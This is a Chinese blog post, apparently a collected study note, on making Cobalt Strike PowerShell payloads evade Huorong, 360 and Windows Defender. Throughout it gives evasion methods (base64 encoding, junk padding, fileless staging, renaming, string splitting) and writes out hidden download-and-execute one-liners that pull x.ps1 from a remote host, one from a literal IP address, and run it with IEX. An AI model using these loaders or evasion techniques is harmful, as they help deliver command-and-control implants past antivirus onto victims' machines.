0x00 cspowershell模式
使用cs生成powershell有两种模式,一种是文件模式,后缀为ps1,另一种是命令模式,后缀是txt
文件模式,使用powershell直接运行

命令模式,全部内容复制到cmd直接运行,注意不需要进入powershell在执行

0x01 免杀方式
混淆 base64
base64解码
$c=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($x))
将原型文件放入火绒的虚拟机中,尝试删除代码,查找被查杀的地方,查找是$DoIt被查杀,尝试把$DoIt进行base64编码,在解码,没有成功
混淆 填充垃圾数据

以上两种方式都没绕过火绒,如果使用项目的人过多,就会出现杀毒软件记录到工具的特征,只要使用了这个工具,就会被杀
无文件分离 可以过火绒
powersehll 的http下载,把被查杀的地方base64后放到外网上,然后在解码执行
$d=((New-ObjectSystem.Net.Webclient).DownloadString('http://xxx/1.txt'))
$dd=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($c))
无文件分离也可以过360,同样可以运用到python c/c++语言中
修改特征 过defender
通过测试,发现$DoIt后从byte开始三段是被杀的,使用base64,填充数据,无文件都不能绕过defender,结合也不可以
将shellcode修改为字节流数据,注意一定不要加单引号,将所有的变量名,函数名都替换成其他名字
sellcode所在位置:

文件模式可以用ladon生成exe运行
命令模式
原型:
powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAPAHUANQBwAGsAVABwAE8AMABX
或:
powershell-nop-w hidden-c"IEX ((new-object net.webclient).downloadstring('http://xxx/x.ps1'))"
原型是肯定绕不过,火绒,360都会阻止打开powershell


命令模式无法绕过360,但是可以绕过火绒
垃圾数据干扰
powershell-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normal-w Normalset-alias-name key-valueIEX;key(New-ObjectNet.WebClient).DownloadString('ht'+'tp://xxxxxx/x.ps1')
替换关键字
powershell-NoExit"$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://47.94.236.117/x.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"
最后
以上就是风趣胡萝卜最近收集整理的关于免杀学习(三)powershell的全部内容,更多相关免杀学习(三)powershell内容请搜索靠谱客的其他文章。
发表评论 取消回复